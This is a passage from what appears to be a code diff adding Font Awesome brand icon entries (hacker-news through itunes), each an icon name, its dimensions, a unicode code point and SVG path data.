6.3-2.7 12.7-2.7 18.7.9 5.2 3 9.6 9.3 10.1 11.8 1.2 6.5-2 9.1-4.5 9.1-3 0-5.3-4.6-6.8-7.3-4.1-7.3-10.3-7.6-16.9-2.8-6.9 5-12.9 13.4-17.1 20.7-5.1 8.8-9.4 18.5-12 28.2-1.5 5.6-2.9 14.6-.6 19.9 1 2.2 2.5 3.6 4.9 3.6 5 0 12.3-6.6 15.8-10.1 4.5-4.5 10.3-11.5 12.5-16l5.2-15.5c2.6-6.8 9.9-5.6 9.9 0 0 10.2-3.7 13.6-10 34.7-5.8 19.5-7.6 25.8-7.6 25.8-.7 2.8-3.4 7.5-6.3 7.5-1.2 0-2.1-.4-2.6-1.2-1-1.4-.9-5.3-.8-6.3.2-3.2 6.3-22.2 7.3-25.2-2 2.2-4.1 4.4-6.4 6.6-5.4 5.1-14.1 11.8-21.5 11.8-3.4 0-5.6-.9-7.7-2.4l7.6 79.6c2 5 39.2 17.1 88.2 17.1 49.1 0 86.3-12.2 88.2-17.1l10.9-94.6c-5.7 5.2-12.3 11.6-19.6 14.8-5.4 2.3-17.4 3.8-17.4-5.7 0-5.2 9.1-14.8 14.4-21.5 1.4-1.7 4.7-5.9 4.7-8.1 0-2.9-6-2.2-11.7 2.5-3.2 2.7-6.2 6.3-8.7 9.7-4.3 6-6.6 11.2-8.5 15.5-6.2 14.2-4.1 8.6-9.1 22-5 13.3-4.2 11.8-5.2 14-.9 1.9-2.2 3.5-4 4.5-1.9 1-4.5.9-6.1-.3-.9-.6-1.3-1.9-1.3-3.7 0-.9.1-1.8.3-2.7 1.5-6.1 7.8-18.1 15-34.3 1.6-3.7 1-2.6.8-2.3-6.2 6-10.9 8.9-14.4 10.5-5.8 2.6-13 2.6-14.5-4.1-.1-.4-.1-.8-.2-1.2-11.8 9.2-24.3 11.7-20-8.1-4.6 8.2-12.6 14.9-22.4 14.9-4.1 0-7.1-1.4-8.6-5.1-2.3-5.5 1.3-14.9 4.6-23.8 1.7-4.5 4-9.9 7.1-16.2 1.6-3.4 4.2-5.4 7.6-4.5.6.2 1.1.4 1.6.7 2.6 1.8 1.6 4.5.3 7.2-3.8 7.5-7.1 13-9.3 20.8-.9 3.3-2 9 1.5 9 2.4 0 4.7-.8 6.9-2.4 4.6-3.4 8.3-8.5 11.1-13.5 2-3.6 4.4-8.3 5.6-12.3.5-1.7 1.1-3.3 1.8-4.8 1.1-2.5 2.6-5.1 5.2-5.1 1.3 0 2.4.5 3.2 1.5 1.7 2.2 1.3 4.5.4 6.9-2 5.6-4.7 10.6-6.9 16.7-1.3 3.5-2.7 8-2.7 11.7 0 3.4 3.7 2.6 6.8 1.2 2.4-1.1 4.8-2.8 6.8-4.5 1.2-4.9.9-3.8 26.4-68.2 1.3-3.3 3.7-4.7 6.1-4.7 1.2 0 2.2.4 3.2 1.1 1.7 1.3 1.7 4.1 1 6.2-.7 1.9-.6 1.3-4.5 10.5-5.2 12.1-8.6 20.8-13.2 31.9-1.9 4.6-7.7 18.9-8.7 22.3-.6 2.2-1.3 5.8 1 5.8 5.4 0 19.3-13.1 23.1-17 .2-.3.5-.4.9-.6.6-1.9 1.2-3.7 1.7-5.5 1.4-3.8 2.7-8.2 5.3-11.3.8-1 1.7-1.6 2.7-1.6 2.8 0 4.2 1.2 4.2 4 0 1.1-.7 5.1-1.1 6.2 1.4-1.5 2.9-3 4.5-4.5 15-13.9 25.7-6.8 25.7.2 0 7.4-8.9 17.7-13.8 23.4-1.6 1.9-4.9 5.4-5 6.4 0 1.3.9 1.8 2.2 1.8 2 0 6.4-3.5 8-4.7 5-3.9 11.8-9.9 16.6-14.1l14.8-136.8c-30.5 17.1-197.6 17.2-228.3.2zm229.7-8.5c0 21-231.2 21-231.2 0 0-8.8 51.8-15.9 115.6-15.9 9 0 17.8.1 26.3.4l12.6-48.7L228.1.6c1.4-1.4 5.8-.2 9.9 3.5s6.6 7.9 5.3 9.3l-.1.1L185.9 74l-10 40.7c39.9 2.6 67.6 8.1 67.6 14.6zm-69.4 4.6c0-.8-.9-1.5-2.5-2.1l-.2.8c0 1.3-5 2.4-11.1 2.4s-11.1-1.1-11.1-2.4c0-.1 0-.2.1-.3l.2-.7c-1.8.6-3 1.4-3 2.3 0 2.1 6.2 3.7 13.7 3.7 7.7.1 13.9-1.6 13.9-3.7z" ], + "hacker-news": [ 448, 512, [], "f1d4", "M0 32v448h448V32H0zm21.2 197.2H21c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4zm218 53.9V384h-31.4V281.3L128 128h37.3c52.5 98.3 49.2 101.2 59.3 125.6 12.3-27 5.8-24.4 60.6-125.6H320l-80.8 155.1z" ], + "hacker-news-square": [ 448, 512, [], "f3af", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM21.2 229.2H21c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4zm218 53.9V384h-31.4V281.3L128 128h37.3c52.5 98.3 49.2 101.2 59.3 125.6 12.3-27 5.8-24.4 60.6-125.6H320l-80.8 155.1z" ], + hackerrank: [ 512, 512, [], "f5f7", "M477.5 128C463 103.05 285.13 0 256.16 0S49.25 102.79 34.84 128s-14.49 230.8 0 256 192.38 128 221.32 128S463 409.08 477.49 384s14.51-231 .01-256zM316.13 414.22c-4 0-40.91-35.77-38-38.69.87-.87 6.26-1.48 17.55-1.83 0-26.23.59-68.59.94-86.32 0-2-.44-3.43-.44-5.85h-79.93c0 7.1-.46 36.2 1.37 72.88.23 4.54-1.58 6-5.74 5.94-10.13 0-20.27-.11-30.41-.08-4.1 0-5.87-1.53-5.74-6.11.92-33.44 3-84-.15-212.67v-3.17c-9.67-.35-16.38-1-17.26-1.84-2.92-2.92 34.54-38.69 38.49-38.69s41.17 35.78 38.27 38.69c-.87.87-7.9 1.49-16.77 1.84v3.16c-2.42 25.75-2 79.59-2.63 105.39h80.26c0-4.55.39-34.74-1.2-83.64-.1-3.39.95-5.17 4.21-5.2 11.07-.08 22.15-.13 33.23-.06 3.46 0 4.57 1.72 4.5 5.38C333 354.64 336 341.29 336 373.69c8.87.35 16.82 1 17.69 1.84 2.88 2.91-33.62 38.69-37.58 38.69z" ], + hips: [ 640, 512, [], "f452", "M251.6 157.6c0-1.9-.9-2.8-2.8-2.8h-40.9c-1.6 0-2.7 1.4-2.7 2.8v201.8c0 1.4 1.1 2.8 2.7 2.8h40.9c1.9 0 2.8-.9 2.8-2.8zM156.5 168c-16.1-11.8-36.3-17.9-60.3-18-18.1-.1-34.6 3.7-49.8 11.4V80.2c0-1.8-.9-2.7-2.8-2.7H2.7c-1.8 0-2.7.9-2.7 2.7v279.2c0 1.9.9 2.8 2.7 2.8h41c1.9 0 2.8-.9 2.8-2.8V223.3c0-.8-2.8-27 45.8-27 48.5 0 45.8 26.1 45.8 27v122.6c0 9 7.3 16.3 16.4 16.3h27.3c1.8 0 2.7-.9 2.7-2.8V223.3c0-23.4-9.3-41.8-28-55.3zm478.4 110.1c-6.8-15.7-18.4-27-34.9-34.1l-57.6-25.3c-8.6-3.6-9.2-11.2-2.6-16.1 7.4-5.5 44.3-13.9 84 6.8 1.7 1 4-.3 4-2.4v-44.7c0-1.3-.6-2.1-1.9-2.6-17.7-6.6-36.1-9.9-55.1-9.9-26.5 0-45.3 5.8-58.5 15.4-.5.4-28.4 20-22.7 53.7 3.4 19.6 15.8 34.2 37.2 43.6l53.6 23.5c11.6 5.1 15.2 13.3 12.2 21.2-3.7 9.1-13.2 13.6-36.5 13.6-24.3 0-44.7-8.9-58.4-19.1-2.1-1.4-4.4.2-4.4 2.3v34.4c0 10.4 4.9 17.3 14.6 20.7 15.6 5.5 31.6 8.2 48.2 8.2 12.7 0 25.8-1.2 36.3-4.3.7-.3 36-8.9 45.6-45.8 3.5-13.5 2.4-26.5-3.1-39.1zM376.2 149.8c-31.7 0-104.2 20.1-104.2 103.5v183.5c0 .8.6 2.7 2.7 2.7h40.9c1.9 0 2.8-.9 2.8-2.7V348c16.5 12.7 35.8 19.1 57.7 19.1 60.5 0 108.7-48.5 108.7-108.7.1-60.3-48.2-108.6-108.6-108.6zm0 170.9c-17.2 0-31.9-6.1-44-18.2-12.2-12.2-18.2-26.8-18.2-44 0-34.5 27.6-62.2 62.2-62.2 34.5 0 62.2 27.6 62.2 62.2.1 34.3-27.3 62.2-62.2 62.2zM228.3 72.5c-15.9 0-28.8 12.9-28.9 28.9 0 15.6 12.7 28.9 28.9 28.9s28.9-13.1 28.9-28.9c0-16.2-13-28.9-28.9-28.9z" ], + "hire-a-helper": [ 512, 512, [], "f3b0", "M443.1 0H71.9C67.9 37.3 37.4 67.8 0 71.7v371.5c37.4 4.9 66 32.4 71.9 68.8h372.2c3-36.4 32.5-65.8 67.9-69.8V71.7c-36.4-5.9-65-35.3-68.9-71.7zm-37 404.9c-36.3 0-18.8-2-55.1-2-35.8 0-21 2-56.1 2-5.9 0-4.9-8.2 0-9.8 22.8-7.6 22.9-10.2 24.6-12.8 10.4-15.6 5.9-83 5.9-113 0-5.3-6.4-12.8-13.8-12.8H200.4c-7.4 0-13.8 7.5-13.8 12.8 0 30-4.5 97.4 5.9 113 1.7 2.5 1.8 5.2 24.6 12.8 4.9 1.6 6 9.8 0 9.8-35.1 0-20.3-2-56.1-2-36.3 0-18.8 2-55.1 2-7.9 0-5.8-10.8 0-10.8 10.2-3.4 13.5-3.5 21.7-13.8 7.7-12.9 7.9-44.4 7.9-127.8V151.3c0-22.2-12.2-28.3-28.6-32.4-8.8-2.2-4-11.8 1-11.8 36.5 0 20.6 2 57.1 2 32.7 0 16.5-2 49.2-2 3.3 0 8.5 8.3 1 10.8-4.9 1.6-27.6 3.7-27.6 39.3 0 45.6-.2 55.8 1 68.8 0 1.3 2.3 12.8 12.8 12.8h109.2c10.5 0 12.8-11.5 12.8-12.8 1.2-13 1-23.2 1-68.8 0-35.6-22.7-37.7-27.6-39.3-7.5-2.5-2.3-10.8 1-10.8 32.7 0 16.5 2 49.2 2 36.5 0 20.6-2 57.1-2 4.9 0 9.9 9.6 1 11.8-16.4 4.1-28.6 10.3-28.6 32.4v101.2c0 83.4.1 114.9 7.9 127.8 8.2 10.2 11.4 10.4 21.7 13.8 5.8 0 7.8 10.8 0 10.8z" ], + hive: [ 512, 512, [], "e07f", "M260.353,254.878,131.538,33.1a2.208,2.208,0,0,0-3.829.009L.3,254.887A2.234,2.234,0,0,0,.3,257.122L129.116,478.9a2.208,2.208,0,0,0,3.83-.009L260.358,257.113A2.239,2.239,0,0,0,260.353,254.878Zm39.078-25.713a2.19,2.19,0,0,0,1.9,1.111h66.509a2.226,2.226,0,0,0,1.9-3.341L259.115,33.111a2.187,2.187,0,0,0-1.9-1.111H190.707a2.226,2.226,0,0,0-1.9,3.341ZM511.7,254.886,384.9,33.112A2.2,2.2,0,0,0,382.99,32h-66.6a2.226,2.226,0,0,0-1.906,3.34L440.652,256,314.481,476.66a2.226,2.226,0,0,0,1.906,3.34h66.6a2.2,2.2,0,0,0,1.906-1.112L511.7,257.114A2.243,2.243,0,0,0,511.7,254.886ZM366.016,284.917H299.508a2.187,2.187,0,0,0-1.9,1.111l-108.8,190.631a2.226,2.226,0,0,0,1.9,3.341h66.509a2.187,2.187,0,0,0,1.9-1.111l108.8-190.631A2.226,2.226,0,0,0,366.016,284.917Z" ], + hooli: [ 640, 512, [], "f427", "M144.5 352l38.3.8c-13.2-4.6-26-10.2-38.3-16.8zm57.7-5.3v5.3l-19.4.8c36.5 12.5 69.9 14.2 94.7 7.2-19.9.2-45.8-2.6-75.3-13.3zm408.9-115.2c15.9 0 28.9-12.9 28.9-28.9s-12.9-24.5-28.9-24.5c-15.9 0-28.9 8.6-28.9 24.5s12.9 28.9 28.9 28.9zm-29 120.5H640V241.5h-57.9zm-73.7 0h57.9V156.7L508.4 184zm-31-119.4c-18.2-18.2-50.4-17.1-50.4-17.1s-32.3-1.1-50.4 17.1c-18.2 18.2-16.8 33.9-16.8 52.6s-1.4 34.3 16.8 52.5 50.4 17.1 50.4 17.1 32.3 1.1 50.4-17.1c18.2-18.2 16.8-33.8 16.8-52.5-.1-18.8 1.3-34.5-16.8-52.6zm-39.8 71.9c0 3.6-1.8 12.5-10.7 12.5s-10.7-8.9-10.7-12.5v-40.4c0-8.7 7.3-10.9 10.7-10.9s10.7 2.1 10.7 10.9zm-106.2-71.9c-18.2-18.2-50.4-17.1-50.4-17.1s-32.2-1.1-50.4 17.1c-1.9 1.9-3.7 3.9-5.3 6-38.2-29.6-72.5-46.5-102.1-61.1v-20.7l-22.5 10.6c-54.4-22.1-89-18.2-97.3.1 0 0-24.9 32.8 61.8 110.8V352h57.9v-28.6c-6.5-4.2-13-8.7-19.4-13.6-14.8-11.2-27.4-21.6-38.4-31.4v-31c13.1 14.7 30.5 31.4 53.4 50.3l4.5 3.6v-29.8c0-6.9 1.7-18.2 10.8-18.2s10.6 6.9 10.6 15V317c18 12.2 37.3 22.1 57.7 29.6v-93.9c0-18.7-13.4-37.4-40.6-37.4-15.8-.1-30.5 8.2-38.5 21.9v-54.3c41.9 20.9 83.9 46.5 99.9 58.3-10.2 14.6-9.3 28.1-9.3 43.7 0 18.7-1.4 34.3 16.8 52.5s50.4 17.1 50.4 17.1 32.3 1.1 50.4-17.1c18.2-18.2 16.7-33.8 16.7-52.5 0-18.5 1.5-34.2-16.7-52.3zM65.2 184v63.3c-48.7-54.5-38.9-76-35.2-79.1 13.5-11.4 37.5-8 64.4 2.1zm226.5 120.5c0 3.6-1.8 12.5-10.7 12.5s-10.7-8.9-10.7-12.5v-40.4c0-8.7 7.3-10.9 10.7-10.9s10.7 2.1 10.7 10.9z" ], + hornbill: [ 512, 512, [], "f592", "M76.38 370.3a37.8 37.8 0 1 1-32.07-32.42c-78.28-111.35 52-190.53 52-190.53-5.86 43-8.24 91.16-8.24 91.16-67.31 41.49.93 64.06 39.81 72.87a140.38 140.38 0 0 0 131.66 91.94c1.92 0 3.77-.21 5.67-.28l.11 18.86c-99.22 1.39-158.7-29.14-188.94-51.6zm108-327.7A37.57 37.57 0 0 0 181 21.45a37.95 37.95 0 1 0-31.17 54.22c-22.55 29.91-53.83 89.57-52.42 190l21.84-.15c0-.9-.14-1.77-.14-2.68A140.42 140.42 0 0 1 207 132.71c8-37.71 30.7-114.3 73.8-44.29 0 0 48.14 2.38 91.18 8.24 0 0-77.84-128-187.59-54.06zm304.19 134.17a37.94 37.94 0 1 0-53.84-28.7C403 126.13 344.89 99 251.28 100.33l.14 22.5c2.7-.15 5.39-.41 8.14-.41a140.37 140.37 0 0 1 130.49 88.76c39.1 9 105.06 31.58 38.46 72.54 0 0-2.34 48.13-8.21 91.16 0 0 133.45-81.16 49-194.61a37.45 37.45 0 0 0 19.31-3.5zM374.06 436.24c21.43-32.46 46.42-89.69 45.14-179.66l-19.52.14c.08 2.06.3 4.07.3 6.15a140.34 140.34 0 0 1-91.39 131.45c-8.85 38.95-31.44 106.66-72.77 39.49 0 0-48.12-2.34-91.19-8.22 0 0 79.92 131.34 191.9 51a37.5 37.5 0 0 0 3.64 14 37.93 37.93 0 1 0 33.89-54.29z" ], + hotjar: [ 448, 512, [], "f3b1", "M414.9 161.5C340.2 29 121.1 0 121.1 0S222.2 110.4 93 197.7C11.3 252.8-21 324.4 14 402.6c26.8 59.9 83.5 84.3 144.6 93.4-29.2-55.1-6.6-122.4-4.1-129.6 57.1 86.4 165 0 110.8-93.9 71 15.4 81.6 138.6 27.1 215.5 80.5-25.3 134.1-88.9 148.8-145.6 15.5-59.3 3.7-127.9-26.3-180.9z" ], + houzz: [ 448, 512, [], "f27c", "M275.9 330.7H171.3V480H17V32h109.5v104.5l305.1 85.6V480H275.9z" ], + html5: [ 384, 512, [], "f13b", "M0 32l34.9 395.8L191.5 480l157.6-52.2L384 32H0zm308.2 127.9H124.4l4.1 49.4h175.6l-13.6 148.4-97.9 27v.3h-1.1l-98.7-27.3-6-75.8h47.7L138 320l53.5 14.5 53.7-14.5 6-62.2H84.3L71.5 112.2h241.1l-4.4 47.7z" ], + hubspot: [ 512, 512, [], "f3b2", "M267.4 211.6c-25.1 23.7-40.8 57.3-40.8 94.6 0 29.3 9.7 56.3 26 78L203.1 434c-4.4-1.6-9.1-2.5-14-2.5-10.8 0-20.9 4.2-28.5 11.8-7.6 7.6-11.8 17.8-11.8 28.6s4.2 20.9 11.8 28.5c7.6 7.6 17.8 11.6 28.5 11.6 10.8 0 20.9-3.9 28.6-11.6 7.6-7.6 11.8-17.8 11.8-28.5 0-4.2-.6-8.2-1.9-12.1l50-50.2c22 16.9 49.4 26.9 79.3 26.9 71.9 0 130-58.3 130-130.2 0-65.2-47.7-119.2-110.2-128.7V116c17.5-7.4 28.2-23.8 28.2-42.9 0-26.1-20.9-47.9-47-47.9S311.2 47 311.2 73.1c0 19.1 10.7 35.5 28.2 42.9v61.2c-15.2 2.1-29.6 6.7-42.7 13.6-27.6-20.9-117.5-85.7-168.9-124.8 1.2-4.4 2-9 2-13.8C129.8 23.4 106.3 0 77.4 0 48.6 0 25.2 23.4 25.2 52.2c0 28.9 23.4 52.3 52.2 52.3 9.8 0 18.9-2.9 26.8-7.6l163.2 114.7zm89.5 163.6c-38.1 0-69-30.9-69-69s30.9-69 69-69 69 30.9 69 69-30.9 69-69 69z" ], + ideal: [ 576, 512, [], "e013", "M125.61,165.48a49.07,49.07,0,1,0,49.06,49.06A49.08,49.08,0,0,0,125.61,165.48ZM86.15,425.84h78.94V285.32H86.15Zm151.46-211.6c0-20-10-22.53-18.74-22.53H204.82V237.5h14.05C228.62,237.5,237.61,234.69,237.61,214.24Zm201.69,46V168.93h22.75V237.5h33.69C486.5,113.08,388.61,86.19,299.67,86.19H204.84V169h14c25.6,0,41.5,17.35,41.5,45.26,0,28.81-15.52,46-41.5,46h-14V425.88h94.83c144.61,0,194.94-67.16,196.72-165.64Zm-109.75,0H273.3V169h54.43v22.73H296v10.58h30V225H296V237.5h33.51Zm74.66,0-5.16-17.67H369.31l-5.18,17.67H340.47L368,168.92h32.35l27.53,91.34ZM299.65,32H32V480H299.65c161.85,0,251-79.73,251-224.52C550.62,172,518,32,299.65,32Zm0,426.92H53.07V53.07H299.65c142.1,0,229.9,64.61,229.9,202.41C529.55,389.57,448.55,458.92,299.65,458.92Zm83.86-264.85L376,219.88H392.4l-7.52-25.81Z" ], + imdb: [ 448, 512, [], "f2d8", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM21.3 229.2H21c.1-.1.2-.3.3-.4zM97 319.8H64V192h33zm113.2 0h-28.7v-86.4l-11.6 86.4h-20.6l-12.2-84.5v84.5h-29V192h42.8c3.3 19.8 6 39.9 8.7 59.9l7.6-59.9h43zm11.4 0V192h24.6c17.6 0 44.7-1.6 49 20.9 1.7 7.6 1.4 16.3 1.4 24.4 0 88.5 11.1 82.6-75 82.5zm160.9-29.2c0 15.7-2.4 30.9-22.2 30.9-9 0-15.2-3-20.9-9.8l-1.9 8.1h-29.8V192h31.7v41.7c6-6.5 12-9.2 20.9-9.2 21.4 0 22.2 12.8 22.2 30.1zM265 229.9c0-9.7 1.6-16-10.3-16v83.7c12.2.3 10.3-8.7 10.3-18.4zm85.5 26.1c0-5.4 1.1-12.7-6.2-12.7-6 0-4.9 8.9-4.9 12.7 0 .6-1.1 39.6 1.1 44.7.8 1.6 2.2 2.4 3.8 2.4 7.8 0 6.2-9 6.2-14.4z" ], + innosoft: [ 448, 512, [], "e080", "M422.559,159.71a27.379,27.379,0,0,0-13.866-23.337,26.42,26.42,0,0,0-26.211.133L73.943,314.647V176.261a11.955,11.955,0,0,1,6.047-10.34L218.066,86.208a12.153,12.153,0,0,1,11.922.025l32.656,18.853L112.581,191.723v56L359.642,105.086,241.129,36.679c-10.992-6.129-22.3-6.255-33.8-.27l-164.6,95.026c-10.634,6.12-16.771,16.39-17.29,29.124l0,191.5c.17,10.135,5.08,18.672,13.474,23.428a27.037,27.037,0,0,0,26.736-.045L374.057,197.376V335.657a11.976,11.976,0,0,1-5.92,10.368L230.025,425.77a12.175,12.175,0,0,1-11.937.062l-32.723-18.9,150.051-86.627v-56L88.367,406.932l118.794,68.583a33.88,33.88,0,0,0,34.25-.327l164.527-94.995c10.746-6.631,16.649-17.118,16.624-29.528Z" ], + instagram: [ 448, 512, [], "f16d", "M224.1 141c-63.6 0-114.9 51.3-114.9 114.9s51.3 114.9 114.9 114.9S339 319.5 339 255.9 287.7 141 224.1 141zm0 189.6c-41.1 0-74.7-33.5-74.7-74.7s33.5-74.7 74.7-74.7 74.7 33.5 74.7 74.7-33.6 74.7-74.7 74.7zm146.4-194.3c0 14.9-12 26.8-26.8 26.8-14.9 0-26.8-12-26.8-26.8s12-26.8 26.8-26.8 26.8 12 26.8 26.8zm76.1 27.2c-1.7-35.9-9.9-67.7-36.2-93.9-26.2-26.2-58-34.4-93.9-36.2-37-2.1-147.9-2.1-184.9 0-35.8 1.7-67.6 9.9-93.9 36.1s-34.4 58-36.2 93.9c-2.1 37-2.1 147.9 0 184.9 1.7 35.9 9.9 67.7 36.2 93.9s58 34.4 93.9 36.2c37 2.1 147.9 2.1 184.9 0 35.9-1.7 67.7-9.9 93.9-36.2 26.2-26.2 34.4-58 36.2-93.9 2.1-37 2.1-147.8 0-184.8zM398.8 388c-7.8 19.6-22.9 34.7-42.6 42.6-29.5 11.7-99.5 9-132.1 9s-102.7 2.6-132.1-9c-19.6-7.8-34.7-22.9-42.6-42.6-11.7-29.5-9-99.5-9-132.1s-2.6-102.7 9-132.1c7.8-19.6 22.9-34.7 42.6-42.6 29.5-11.7 99.5-9 132.1-9s102.7-2.6 132.1 9c19.6 7.8 34.7 22.9 42.6 42.6 11.7 29.5 9 99.5 9 132.1s2.7 102.7-9 132.1z" ], + "instagram-square": [ 448, 512, [], "e055", "M224,202.66A53.34,53.34,0,1,0,277.36,256,53.38,53.38,0,0,0,224,202.66Zm124.71-41a54,54,0,0,0-30.41-30.41c-21-8.29-71-6.43-94.3-6.43s-73.25-1.93-94.31,6.43a54,54,0,0,0-30.41,30.41c-8.28,21-6.43,71.05-6.43,94.33S91,329.26,99.32,350.33a54,54,0,0,0,30.41,30.41c21,8.29,71,6.43,94.31,6.43s73.24,1.93,94.3-6.43a54,54,0,0,0,30.41-30.41c8.35-21,6.43-71.05,6.43-94.33S357.1,182.74,348.75,161.67ZM224,338a82,82,0,1,1,82-82A81.9,81.9,0,0,1,224,338Zm85.38-148.3a19.14,19.14,0,1,1,19.13-19.14A19.1,19.1,0,0,1,309.42,189.74ZM400,32H48A48,48,0,0,0,0,80V432a48,48,0,0,0,48,48H400a48,48,0,0,0,48-48V80A48,48,0,0,0,400,32ZM382.88,322c-1.29,25.63-7.14,48.34-25.85,67s-41.4,24.63-67,25.85c-26.41,1.49-105.59,1.49-132,0-25.63-1.29-48.26-7.15-67-25.85s-24.63-41.42-25.85-67c-1.49-26.42-1.49-105.61,0-132,1.29-25.63,7.07-48.34,25.85-67s41.47-24.56,67-25.78c26.41-1.49,105.59-1.49,132,0,25.63,1.29,48.33,7.15,67,25.85s24.63,41.42,25.85,67.05C384.37,216.44,384.37,295.56,382.88,322Z" ], + instalod: [ 512, 512, [], "e081", "M153.384,480H387.113L502.554,275.765,204.229,333.211ZM504.726,240.078,387.113,32H155.669L360.23,267.9ZM124.386,48.809,7.274,256,123.236,461.154,225.627,165.561Z" ], + intercom: [ 448, 512, [], "f7af", "M392 32H56C25.1 32 0 57.1 0 88v336c0 30.9 25.1 56 56 56h336c30.9 0 56-25.1 56-56V88c0-30.9-25.1-56-56-56zm-108.3 82.1c0-19.8 29.9-19.8 29.9 0v199.5c0 19.8-29.9 19.8-29.9 0V114.1zm-74.6-7.5c0-19.8 29.9-19.8 29.9 0v216.5c0 19.8-29.9 19.8-29.9 0V106.6zm-74.7 7.5c0-19.8 29.9-19.8 29.9 0v199.5c0 19.8-29.9 19.8-29.9 0V114.1zM59.7 144c0-19.8 29.9-19.8 29.9 0v134.3c0 19.8-29.9 19.8-29.9 0V144zm323.4 227.8c-72.8 63-241.7 65.4-318.1 0-15-12.8 4.4-35.5 19.4-22.7 65.9 55.3 216.1 53.9 279.3 0 14.9-12.9 34.3 9.8 19.4 22.7zm5.2-93.5c0 19.8-29.9 19.8-29.9 0V144c0-19.8 29.9-19.8 29.9 0v134.3z" ], + "internet-explorer": [ 512, 512, [], "f26b", "M483.049 159.706c10.855-24.575 21.424-60.438 21.424-87.871 0-72.722-79.641-98.371-209.673-38.577-107.632-7.181-211.221 73.67-237.098 186.457 30.852-34.862 78.271-82.298 121.977-101.158C125.404 166.85 79.128 228.002 43.992 291.725 23.246 329.651 0 390.94 0 436.747c0 98.575 92.854 86.5 180.251 42.006 31.423 15.43 66.559 15.573 101.695 15.573 97.124 0 184.249-54.294 216.814-146.022H377.927c-52.509 88.593-196.819 52.996-196.819-47.436H509.9c6.407-43.581-1.655-95.715-26.851-141.162zM64.559 346.877c17.711 51.15 53.703 95.871 100.266 123.304-88.741 48.94-173.267 29.096-100.266-123.304zm115.977-108.873c2-55.151 50.276-94.871 103.98-94.871 53.418 0 101.981 39.72 103.981 94.871H180.536zm184.536-187.6c21.425-10.287 48.563-22.003 72.558-22.003 31.422 0 54.274 21.717 54.274 53.722 0 20.003-7.427 49.007-14.569 67.867-26.28-42.292-65.986-81.584-112.263-99.586z" ], + invision: [ 448, 512, [], "f7b0", "M407.4 32H40.6C18.2 32 0 50.2 0 72.6v366.8C0 461.8 18.2 480 40.6 480h366.8c22.4 0 40.6-18.2 40.6-40.6V72.6c0-22.4-18.2-40.6-40.6-40.6zM176.1 145.6c.4 23.4-22.4 27.3-26.6 27.4-14.9 0-27.1-12-27.1-27 .1-35.2 53.1-35.5 53.7-.4zM332.8 377c-65.6 0-34.1-74-25-106.6 14.1-46.4-45.2-59-59.9.7l-25.8 103.3H177l8.1-32.5c-31.5 51.8-94.6 44.4-94.6-4.3.1-14.3.9-14 23-104.1H81.7l9.7-35.6h76.4c-33.6 133.7-32.6 126.9-32.9 138.2 0 20.9 40.9 13.5 57.4-23.2l19.8-79.4h-32.3l9.7-35.6h68.8l-8.9 40.5c40.5-75.5 127.9-47.8 101.8 38-14.2 51.1-14.6 50.7-14.9 58.8 0 15.5 17.5 22.6 31.8-16.9L386 325c-10.5 36.7-29.4 52-53.2 52z" ], + ioxhost: [ 640, 512, [], "f208", "M616 160h-67.3C511.2 70.7 422.9 8 320 8 183 8 72 119 72 256c0 16.4 1.6 32.5 4.7 48H24c-13.3 0-24 10.8-24 24 0 13.3 10.7 24 24 24h67.3c37.5 89.3 125.8 152 228.7 152 137 0 248-111 248-248 0-16.4-1.6-32.5-4.7-48H616c13.3 0 24-10.8 24-24 0-13.3-10.7-24-24-24zm-96 96c0 110.5-89.5 200-200 200-75.7 0-141.6-42-175.5-104H424c13.3 0 24-10.8 24-24 0-13.3-10.7-24-24-24H125.8c-3.8-15.4-5.8-31.4-5.8-48 0-110.5 89.5-200 200-200 75.7 0 141.6 42 175.5 104H216c-13.3 0-24 10.8-24 24 0 13.3 10.7 24 24 24h298.2c3.8 15.4 5.8 31.4 5.8 48zm-304-24h208c13.3 0 24 10.7 24 24 0 13.2-10.7 24-24 24H216c-13.3 0-24-10.7-24-24 0-13.2 10.7-24 24-24z" ], + "itch-io": [ 512, 512, [], "f83a", "M71.92 34.77C50.2 47.67 7.4 96.84 7 109.73v21.34c0 27.06 25.29 50.84 48.25 50.84 27.57 0 50.54-22.85 50.54-50 0 27.12 22.18 50 49.76 50s49-22.85 49-50c0 27.12 23.59 50 51.16 50h.5c27.57 0 51.16-22.85 51.16-50 0 27.12 21.47 50 49 50s49.76-22.85 49.76-50c0 27.12 23 50 50.54 50 23 0 48.25-23.78 48.25-50.84v-21.34c-.4-12.9-43.2-62.07-64.92-75C372.56 32.4 325.76 32 256 32S91.14 33.1 71.92 34.77zm132.32 134.39c-22 38.4-77.9 38.71-99.85.25-13.17 23.14-43.17 32.07-56 27.66-3.87 40.15-13.67 237.13 17.73 269.15 80 18.67 302.08 18.12 379.76 0 31.65-32.27 21.32-232 17.75-269.15-12.92 4.44-42.88-4.6-56-27.66-22 38.52-77.85 38.1-99.85-.24-7.1 12.49-23.05 28.94-51.76 28.94a57.54 57.54 0 0 1-51.75-28.94zm-41.58 53.77c16.47 0 31.09 0 49.22 19.78a436.91 436.91 0 0 1 88.18 0C318.22 223 332.85 223 349.31 223c52.33 0 65.22 77.53 83.87 144.45 17.26 62.15-5.52 63.67-33.95 63.73-42.15-1.57-65.49-32.18-65.49-62.79-39.25 6.43-101.93 8.79-155.55 0 0 30.61-23.34 61.22-65.49 62.79-28.42-.06-51.2-1.58-33.94-63.73 18.67-67 31.56-144.45 83.88-144.45zM256 270.79s-44.38 40.77-52.35 55.21l29-1.17v25.32c0 1.55 21.34.16 23.33.16 11.65.54 23.31 1 23.31-.16v-25.28l29 1.17c-8-14.48-52.35-55.24-52.35-55.24z" ], + itunes: [ 448, 512, [], "f3b4", "M223.6 80.3C129 80.3 52.5 157 52.5 251.5S129 422.8 223.6 422.8s171.2-76.7 171.2-171.2c0-94.6-76.7-171.3-171.2-171.3zm79.4 240c-3.2 13.6-13.5 21.2-27.3 23.8-12.1 2.2-22.2 2.8-31.9-5-11.8-10-12-26.4-1.4-36.8 8.4-8 20.3-9.6 38-12.8 3-.5 5.6-1.2 7.7-3.7 3.2-3.6 2.2-2 2.2-80.8 0-5.6-2.7-7.1-8.4-6.1-4 .7-91.9 17.1-91.9 17.1-5 1.1-6.7 2.6-6.7 8.3 0 